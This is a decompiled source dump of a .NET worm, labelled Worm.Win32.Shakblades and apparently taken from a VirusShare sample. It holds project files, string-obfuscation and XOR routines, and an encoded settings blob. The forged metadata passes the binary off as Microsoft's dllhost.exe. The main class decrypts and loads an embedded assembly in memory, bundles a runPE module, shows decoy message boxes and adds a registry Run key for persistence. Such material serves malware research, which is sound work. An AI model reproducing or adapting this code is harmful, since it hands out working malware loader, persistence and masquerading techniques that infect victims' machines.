Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("M ouetyDcmns"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Dstpeko"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Ue rflsrPoie"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetEnvironmentVariable(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("UEPOIESRRFL")) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("PormFlsrga ie"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
return Ibpa121djgybg55fkysgepjc0y2qiasb2;
|
||||
}
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Worm.Win32.Shakblades.ajg-9d1b9cde375114da6f4c66efbdae5f5f253766dca1651abfc7c38653f32c21ea.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{72E84F6A-6D0C-430D-A225-199F90E7BCCC}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>pff4wjti</AssemblyName>
|
||||
<ApplicationVersion>6.1.7600.16385</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Zgyvqmp0xpqwooihm.cs" />
|
||||
<Compile Include="rzo4euwupytyapwx03g5pnbwx.cs" />
|
||||
<Compile Include="G1iw5jvdvf5jyuwmtz03k02vp\Mvsaeg2eeoaqx3utk.cs" />
|
||||
<Compile Include="Tm2tqtua3sspuhohl2o5frgcxkwutet2c\Xcpjaqmaubj2y0o3n.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="runPE.dll" />
|
||||
<EmbeddedResource Include="Settings.xml" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "pff4wjti", "Worm.Win32.Shakblades.ajg-9d1b9cde375114da6f4c66efbdae5f5f253766dca1651abfc7c38653f32c21ea.csproj", "{72E84F6A-6D0C-430D-A225-199F90E7BCCC}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{72E84F6A-6D0C-430D-A225-199F90E7BCCC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{72E84F6A-6D0C-430D-A225-199F90E7BCCC}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{72E84F6A-6D0C-430D-A225-199F90E7BCCC}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{72E84F6A-6D0C-430D-A225-199F90E7BCCC}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Zgyvqmp0xpqwooihm
|
||||
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Worm.Win32.Shakblades.ajg-9d1b9cde375114da6f4c66efbdae5f5f253766dca1651abfc7c38653f32c21ea.exe
|
||||
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
public static class Zgyvqmp0xpqwooihm
|
||||
{
|
||||
public static int Qjej3zah1v0qd232c = 129;
|
||||
|
||||
public static byte[] Rhjia2qmjg1uefwsxroduqr0s(byte[] Gtuvri4z1npalso5jwqoi0iru)
|
||||
{
|
||||
for (int index = 0; index < Gtuvri4z1npalso5jwqoi0iru.Length; ++index)
|
||||
{
|
||||
char ch = (char) ((uint) Convert.ToChar(Gtuvri4z1npalso5jwqoi0iru[index]) ^ (uint) Zgyvqmp0xpqwooihm.Qjej3zah1v0qd232c);
|
||||
Gtuvri4z1npalso5jwqoi0iru[index] = Convert.ToByte(ch);
|
||||
}
|
||||
return Gtuvri4z1npalso5jwqoi0iru;
|
||||
}
|
||||
|
||||
public static string A1ns3kzzckrkw2k2snvelcbss(string Vxl3tfinjjgkwgrbaafdapoa1)
|
||||
{
|
||||
int length = Vxl3tfinjjgkwgrbaafdapoa1.Length;
|
||||
string str1 = Vxl3tfinjjgkwgrbaafdapoa1.Substring(0, (Vxl3tfinjjgkwgrbaafdapoa1.Length + 1) / 2);
|
||||
string str2 = Vxl3tfinjjgkwgrbaafdapoa1.Substring((Vxl3tfinjjgkwgrbaafdapoa1.Length + 1) / 2, Vxl3tfinjjgkwgrbaafdapoa1.Length - (Vxl3tfinjjgkwgrbaafdapoa1.Length + 1) / 2);
|
||||
int num = 0;
|
||||
StringBuilder stringBuilder = new StringBuilder(str1);
|
||||
for (int index = 0; index < str2.Length; ++index)
|
||||
{
|
||||
stringBuilder.Insert(num + 1, str2[index]);
|
||||
num += 2;
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
+33
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: rzo4euwupytyapwx03g5pnbwx
|
||||
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Worm.Win32.Shakblades.ajg-9d1b9cde375114da6f4c66efbdae5f5f253766dca1651abfc7c38653f32c21ea.exe
|
||||
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
public static class rzo4euwupytyapwx03g5pnbwx
|
||||
{
|
||||
public static string trdpamic2sckcdwunnjaiq5ctjzbh44ol(byte[] B153fsulcysdl0fl1)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
for (int index = 0; index < B153fsulcysdl0fl1.Length; ++index)
|
||||
{
|
||||
char ch = Convert.ToChar(B153fsulcysdl0fl1[index]);
|
||||
stringBuilder.Append(Convert.ToString(ch));
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
public static byte[] fuwrggsyeop321rci(string Tqvl4fhqiermjhlan)
|
||||
{
|
||||
byte[] numArray = new byte[Tqvl4fhqiermjhlan.Length];
|
||||
for (int startIndex = 0; startIndex < Tqvl4fhqiermjhlan.Length; ++startIndex)
|
||||
{
|
||||
char ch = Convert.ToChar(Tqvl4fhqiermjhlan.Substring(startIndex, 1));
|
||||
numArray[startIndex] = Convert.ToByte(ch);
|
||||
}
|
||||
return numArray;
|
||||
}
|
||||
}
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Permissions;
|
||||
|
||||
[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]
|
||||
[assembly: Guid("4ef180dc-8ba3-43bb-80b8-51c047a80913")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]
|
||||
[assembly: AssemblyFileVersion("6.1.7600.16385")]
|
||||
[assembly: AssemblyCompany("Microsoft Corporation")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyDescription("COM Surrogate")]
|
||||
[assembly: AssemblyTitle("dllhost.exe")]
|
||||
[assembly: AssemblyVersion("6.1.7600.16385")]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: G1iw5jvdvf5jyuwmtz03k02vp.Mvsaeg2eeoaqx3utk
|
||||
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-c60a207d49561351d0b84ea851120f247234d970b3dc83269c04540744be032b.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace G1iw5jvdvf5jyuwmtz03k02vp
|
||||
{
|
||||
public class Mvsaeg2eeoaqx3utk
|
||||
{
|
||||
[DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern IntPtr cz23ictx0pf1xcpsqzxf3ue5fsjhmn3fi(string lpModuleName);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "FindResourceA")]
|
||||
public static extern IntPtr Nyja0dryfvflph11ok4ga5zpz(
|
||||
IntPtr hModule,
|
||||
int lpID,
|
||||
string lpType);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "LoadResource", SetLastError = true)]
|
||||
public static extern IntPtr Xpo3aq0mxqyvzr1zld5qguuzg(IntPtr hModule, IntPtr hResInfo);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "SizeofResource", SetLastError = true)]
|
||||
public static extern uint Wy3i4lea5jxu3fiu1mt0jbvl4gefufsn2(IntPtr hModule, IntPtr hResInfo);
|
||||
}
|
||||
}
|
||||
+1
@@ -0,0 +1 @@
|
||||
½¾ùìí¡÷äóòèîï¼£°¯±£¾¿½ÑóîõäâõèîïÒõôã×àíôäò¿¡¡½Åäíèìèõäóò¿¡¡¡¡½ÒõôãÅäíèì¿ûîìíøµõôó´ñûøíàà´½®ÒõôãÅäíèì¿¡¡¡¡½ÌäòòàæäÅäíèì¿óôñ±ò³ñõàìô÷ëñìççóââçîäåê½®ÌäòòàæäÅäíèì¿¡¡¡¡½ÀíæîÅäíèì¿÷÷ìèéè³°ñíîòù´²³é½®ÀíæîÅäíèì¿¡¡¡¡½ìèòâäííàïäîôòÅäíèì¿ôìîé²ãìâèååå÷ùõûéöû÷µæôµò½®ìèòâäííàïäîôòÅäíèì¿¡¡¡¡½öäãÆäõÅäíèì¿éçûâîìøøìæ´÷û°±°èø°ðùøìàó½®öäãÆäõÅäíèì¿¡¡¡¡½ÃîôïåÇèíäÅäíèì¿òñöûìïïã÷âïôëóçíõåîç²û÷øë½®ÃîôïåÇèíäÅäíèì¿¡¡¡¡½ÏäöÃîôïåÇèíäÅäíèì¿Ð°òéíïøëæùèàåµê±³èøòå³ôµëµììîååôû½®ÏäöÃîôïåÇèíäÅäíèì¿¡¡½®Åäíèìèõäóò¿¡¡½Óäòîôóâäò¿¡¡¡¡½ÓäòîôóâäÕøñä¿¡¡¡¡¡¡½ÒäõõèïæòÕøñä¿Â×ÂÏÒÇÈÓ±ÕÈÄÛÏ˲ÉׯËÒ±°³Î½®ÒäõõèïæòÕøñä¿¡¡¡¡¡¡½ÅàõàÕøñä¿ÃÃÔ°Ä×רű×ÎÄÇÉÔÕ°×ÇÃÅØÃÖ½®ÅàõàÕøñä¿¡¡¡¡¡¡½ÃèïåäóÕøñä¿À´ÉÂÀÛÀÎËØÖ³Ç´ÙÏÐÀÓËÖ°ÊÙ´Ô´±ÅÕÃÇǽ®ÃèïåäóÕøñä¿¡¡¡¡½®ÓäòîôóâäÕøñä¿¡¡¡¡½ÓäòîôóâäÈÅ¿¡¡¡¡¡¡½ÒäõõèïæòÈÅ¿°·½®ÒäõõèïæòÈÅ¿¡¡¡¡¡¡½ÅàõàÈÅ¿µµ½®ÅàõàÈÅ¿¡¡¡¡¡¡½ÃèïåäóÈÅ¿µ¶½®ÃèïåäóÈÅ¿¡¡¡¡½®ÓäòîôóâäÈÅ¿¡¡½®Óäòîôóâäò¿¡¡½Óäìî÷äÂîåä¿¡¡¡¡½ÌäòòàæäÃîù¿Õóôä½®ÌäòòàæäÃîù¿¡¡¡¡½Òõàóõôñ¿Õóôä½®Òõàóõôñ¿¡¡¡¡½Ãèïåäó¿Õóôä½®Ãèïåäó¿¡¡¡¡½Âîìñóäòòèîï¿Õóôä½®Âîìñóäòòèîï¿¡¡¡¡½ÖäãÆäõ¿Õóôä½®ÖäãÆäõ¿¡¡½®Óäìî÷äÂîåä¿¡¡½ÕóàïòçäóÕøñä¿¡¡¡¡½Óäòîôóâä¿Õóôä½®Óäòîôóâä¿¡¡½®ÕóàïòçäóÕøñä¿¡¡½ÓôïÑÄÌèòòèïæ¿¡¡¡¡½ÌèòòèïæÑÄ¿Çàíòä½®ÌèòòèïæÑÄ¿¡¡¡¡½ÒõôãÄïâóøñõèîï¿¡¡¡¡¡¡½äïâóøñõèîïÔòäå¿ÙÎÓ½®äïâóøñõèîïÔòäå¿¡¡¡¡¡¡½àííÄïâóøñõèîïò¿Çàíòä½®àííÄïâóøñõèîïò¿¡¡¡¡½®ÒõôãÄïâóøñõèîï¿¡¡½®ÓôïÑÄÌèòòèïæ¿½®ÑóîõäâõèîïÒõôã×àíôäò¿
|
||||
+561
@@ -0,0 +1,561 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Tm2tqtua3sspuhohl2o5frgcxkwutet2c.Xcpjaqmaubj2y0o3n
|
||||
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-c60a207d49561351d0b84ea851120f247234d970b3dc83269c04540744be032b.exe
|
||||
|
||||
using G1iw5jvdvf5jyuwmtz03k02vp;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Management;
|
||||
using System.Net;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Tm2tqtua3sspuhohl2o5frgcxkwutet2c
|
||||
{
|
||||
public class Xcpjaqmaubj2y0o3n
|
||||
{
|
||||
private static bool Vyydwy2dzohvetixn = true;
|
||||
private byte[] Xvzsy20ikq50fiuzzzsw14i22;
|
||||
private bool n2gipyxzj1jd3ijqb;
|
||||
private string fzeil4ihxre2gqh3ygpyffp15;
|
||||
private string qw2lxynmeozut0doo;
|
||||
private string Cllbarbs03nsn03hk0bknvl3n = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private int I12ss4uzgimbzl5qa;
|
||||
private int dluh54iqwipbeun4nsizlk3foyfinw5wt;
|
||||
private int Hgmfkbt4atcy55dirqkgtdkb5;
|
||||
private string Dx4pxl4hlvcwokaeq = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("XRO");
|
||||
private string zyygx4b4iahtt0izd = string.Empty;
|
||||
private string Q5aj14jzmb5gozvrp = string.Empty;
|
||||
private int Sqsgcrexehem0lg3mionbxiuw;
|
||||
private string Qeujo4xlzlmqxzlwt = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private string N4rfcpacyzvdyb5o5pseuwja0 = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private string ovvhzz3v4t0lncqhc = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private string hpyhkefmdy2fikaqvpxkxke4zwemgdqgs = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private string Yu13rcd5iimiqemzz = string.Empty;
|
||||
private string Ouyjahe11vseyu1gc = string.Empty;
|
||||
private string Wbmpi5i4bd1p35dfa2s0jd2tykyightoe = string.Empty;
|
||||
private string wlzgy5x503ocrxvto = string.Empty;
|
||||
private string mlzo2db1vixlaay2xx3qm1uh1 = string.Empty;
|
||||
private string Ifbnriw30u3zqko1o = string.Empty;
|
||||
private string O52jpa3c1kjywan03 = string.Empty;
|
||||
private string aebl4g0r22vys142j542rkxik = string.Empty;
|
||||
private string Pi5xwja3tpz1vyvxe0bvaszsw = string.Empty;
|
||||
private string W0igi2snxiuevrujvdeszp1bxkguemxod = string.Empty;
|
||||
private string Osbrxysckqx0aqx1lzguqifvs = string.Empty;
|
||||
private bool Zx2ycojwb320y2n31;
|
||||
private bool Kbkqxyuop35q5nercdcrjitsn;
|
||||
private string Ueczuk1jlbi3nbg5x2h1wuon0 = string.Empty;
|
||||
private string Ne4uiww2g1iuhqrgv = string.Empty;
|
||||
private bool waiw3pzzuvdgyn5dx3idhqwhncujkp40q;
|
||||
private string upzpncz1hdeloi5k3rlq4a14w = string.Empty;
|
||||
private string ogs5wi51r3m1bqoyn = string.Empty;
|
||||
private string Fl1t0wgsikf4mpxykcardit3b = string.Empty;
|
||||
private string Abfzh2zlzdzdgmqoqnumemerp = string.Empty;
|
||||
private bool etx2nx1n4akedmv4fu2mqzcc0;
|
||||
private bool Dwfbus3rr2dghn14mxukem4jr;
|
||||
private bool Bm3illttk5nwmenvbn3jbmios;
|
||||
private bool s1rnoof103dimlt4vbd0kazwizm4euy4s;
|
||||
private object Rebbtyainmzrpdxrpkhemquuf;
|
||||
private MethodInfo Fau0pig3abdcym2njphkzgkxl;
|
||||
|
||||
private void xpjiguggif5df23oi(string xkcps1zic2cskbd1y)
|
||||
{
|
||||
string[] separator1 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("rpspaujmfcfeku02tmvpfrcod")
|
||||
};
|
||||
string[] strArray1 = xkcps1zic2cskbd1y.Split(separator1, StringSplitOptions.None);
|
||||
string[] separator2 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("vmh2pox3hvii1ls52")
|
||||
};
|
||||
string[] strArray2 = xkcps1zic2cskbd1y.Split(separator2, StringSplitOptions.None);
|
||||
string[] separator3 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("uo3midvthz4usmhbcddxzwvg4")
|
||||
};
|
||||
string[] strArray3 = xkcps1zic2cskbd1y.Split(separator3, StringSplitOptions.None);
|
||||
string[] separator4 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("hzoym5z0i1xmrfcmygv11yqya")
|
||||
};
|
||||
string[] strArray4 = xkcps1zic2cskbd1y.Split(separator4, StringSplitOptions.None);
|
||||
this.Cllbarbs03nsn03hk0bknvl3n = strArray1[1];
|
||||
this.fzeil4ihxre2gqh3ygpyffp15 = strArray1[2];
|
||||
this.qw2lxynmeozut0doo = strArray1[3];
|
||||
this.I12ss4uzgimbzl5qa = Convert.ToInt32(strArray1[4]);
|
||||
this.dluh54iqwipbeun4nsizlk3foyfinw5wt = Convert.ToInt32(strArray1[5]);
|
||||
this.Hgmfkbt4atcy55dirqkgtdkb5 = Convert.ToInt32(strArray1[6]);
|
||||
this.Dx4pxl4hlvcwokaeq = strArray2[1];
|
||||
this.zyygx4b4iahtt0izd = strArray2[2];
|
||||
this.Q5aj14jzmb5gozvrp = strArray2[3];
|
||||
this.Sqsgcrexehem0lg3mionbxiuw = Convert.ToInt32(strArray3[1]);
|
||||
this.Qeujo4xlzlmqxzlwt = strArray3[2];
|
||||
this.N4rfcpacyzvdyb5o5pseuwja0 = strArray3[3];
|
||||
this.ovvhzz3v4t0lncqhc = strArray3[4];
|
||||
this.hpyhkefmdy2fikaqvpxkxke4zwemgdqgs = strArray3[5];
|
||||
this.Yu13rcd5iimiqemzz = strArray3[6];
|
||||
this.Ouyjahe11vseyu1gc = strArray3[7];
|
||||
this.Wbmpi5i4bd1p35dfa2s0jd2tykyightoe = strArray3[8];
|
||||
this.wlzgy5x503ocrxvto = strArray3[9];
|
||||
this.mlzo2db1vixlaay2xx3qm1uh1 = strArray3[10];
|
||||
this.Ifbnriw30u3zqko1o = strArray3[11];
|
||||
this.O52jpa3c1kjywan03 = this.bxmgxqvn0tzn2pwdo5ezgxkdh(strArray3[12]);
|
||||
this.aebl4g0r22vys142j542rkxik = strArray3[13];
|
||||
this.Pi5xwja3tpz1vyvxe0bvaszsw = strArray3[14];
|
||||
this.W0igi2snxiuevrujvdeszp1bxkguemxod = strArray3[15];
|
||||
this.Zx2ycojwb320y2n31 = Convert.ToBoolean(strArray3[16]);
|
||||
this.Kbkqxyuop35q5nercdcrjitsn = Convert.ToBoolean(strArray3[17]);
|
||||
this.Ueczuk1jlbi3nbg5x2h1wuon0 = this.yti5olupwaivlclet(strArray3[18]) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + Path.GetRandomFileName();
|
||||
this.Osbrxysckqx0aqx1lzguqifvs = strArray3[19];
|
||||
this.Ne4uiww2g1iuhqrgv = strArray3[20];
|
||||
this.Ueczuk1jlbi3nbg5x2h1wuon0 = this.Ueczuk1jlbi3nbg5x2h1wuon0.Substring(0, this.Ueczuk1jlbi3nbg5x2h1wuon0.Length - 4) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss(".xee");
|
||||
Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System));
|
||||
switch (this.Ne4uiww2g1iuhqrgv)
|
||||
{
|
||||
case "0":
|
||||
try
|
||||
{
|
||||
this.Ne4uiww2g1iuhqrgv = IntPtr.Size != 4 ? Environment.GetEnvironmentVariable(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("wniidr")) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\irsf.E\\rmwr6\\20577vceeMcootNTFaeok4v..02\\b.x") : Environment.GetEnvironmentVariable(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("wniidr")) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\irsf.E\\rmwr\\20577vceeMcootNTFaeokv..02\\b.x");
|
||||
break;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
break;
|
||||
}
|
||||
case "1":
|
||||
this.Ne4uiww2g1iuhqrgv = Environment.GetEnvironmentVariable(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("wniidr")) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\irsf.E\\rmwr\\20577cceeMcootNTFaeokv..02\\s.x");
|
||||
break;
|
||||
}
|
||||
this.waiw3pzzuvdgyn5dx3idhqwhncujkp40q = Convert.ToBoolean(strArray4[1]);
|
||||
this.upzpncz1hdeloi5k3rlq4a14w = strArray4[2];
|
||||
this.ogs5wi51r3m1bqoyn = strArray4[3];
|
||||
this.Fl1t0wgsikf4mpxykcardit3b = strArray4[4];
|
||||
this.Abfzh2zlzdzdgmqoqnumemerp = strArray4[5];
|
||||
this.etx2nx1n4akedmv4fu2mqzcc0 = Convert.ToBoolean(strArray4[6]);
|
||||
this.Dwfbus3rr2dghn14mxukem4jr = Convert.ToBoolean(strArray4[7]);
|
||||
this.Bm3illttk5nwmenvbn3jbmios = Convert.ToBoolean(strArray4[8]);
|
||||
this.s1rnoof103dimlt4vbd0kazwizm4euy4s = Convert.ToBoolean(strArray4[9]);
|
||||
this.Fl1t0wgsikf4mpxykcardit3b = this.yti5olupwaivlclet(this.Fl1t0wgsikf4mpxykcardit3b);
|
||||
MessageBoxButtons[] messageBoxButtonsArray = new MessageBoxButtons[6]
|
||||
{
|
||||
MessageBoxButtons.OK,
|
||||
MessageBoxButtons.OKCancel,
|
||||
MessageBoxButtons.YesNo,
|
||||
MessageBoxButtons.YesNoCancel,
|
||||
MessageBoxButtons.RetryCancel,
|
||||
MessageBoxButtons.AbortRetryIgnore
|
||||
};
|
||||
MessageBoxIcon[] messageBoxIconArray = new MessageBoxIcon[5]
|
||||
{
|
||||
MessageBoxIcon.Hand,
|
||||
MessageBoxIcon.Asterisk,
|
||||
MessageBoxIcon.Question,
|
||||
MessageBoxIcon.Exclamation,
|
||||
MessageBoxIcon.None
|
||||
};
|
||||
if (!(this.Cllbarbs03nsn03hk0bknvl3n == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1")))
|
||||
return;
|
||||
Thread.Sleep(this.Hgmfkbt4atcy55dirqkgtdkb5 * 1000);
|
||||
int num = (int) MessageBox.Show(this.fzeil4ihxre2gqh3ygpyffp15, this.qw2lxynmeozut0doo, messageBoxButtonsArray[this.I12ss4uzgimbzl5qa], messageBoxIconArray[this.dluh54iqwipbeun4nsizlk3foyfinw5wt]);
|
||||
}
|
||||
|
||||
private byte[] T20r4skkjzxet5xxndjdxm23nq1de3ste(
|
||||
byte[] j53vpo23pks1sawtewkqd4g3v,
|
||||
int wtxw3dfyzvb2m5edzmygxag3t)
|
||||
{
|
||||
GZipStream gzipStream = new GZipStream((Stream) new MemoryStream(j53vpo23pks1sawtewkqd4g3v), CompressionMode.Decompress);
|
||||
byte[] buffer = new byte[wtxw3dfyzvb2m5edzmygxag3t];
|
||||
gzipStream.Read(buffer, 0, buffer.Length);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
private object Ceyweulgsxaof4hwmnwokglbk(int mn0yawr33ammr4eax42s3tcgr)
|
||||
{
|
||||
Assembly assembly = Assembly.Load(Zgyvqmp0xpqwooihm.Rhjia2qmjg1uefwsxroduqr0s(Xcpjaqmaubj2y0o3n.q1cagpbvwn04kmqyi(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("rnEdluP.l"))));
|
||||
Thread.Sleep(1000);
|
||||
System.Type type = assembly.GetTypes()[mn0yawr33ammr4eax42s3tcgr];
|
||||
this.Fau0pig3abdcym2njphkzgkxl = type.GetMethod(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Rnu"));
|
||||
return Activator.CreateInstance(type);
|
||||
}
|
||||
|
||||
private void persistenceStartup(
|
||||
string Ymom4ixsncavvmzwlpzsuuw3j,
|
||||
string oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie,
|
||||
string Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x)
|
||||
{
|
||||
Registry.CurrentUser.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j, true).SetValue(oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
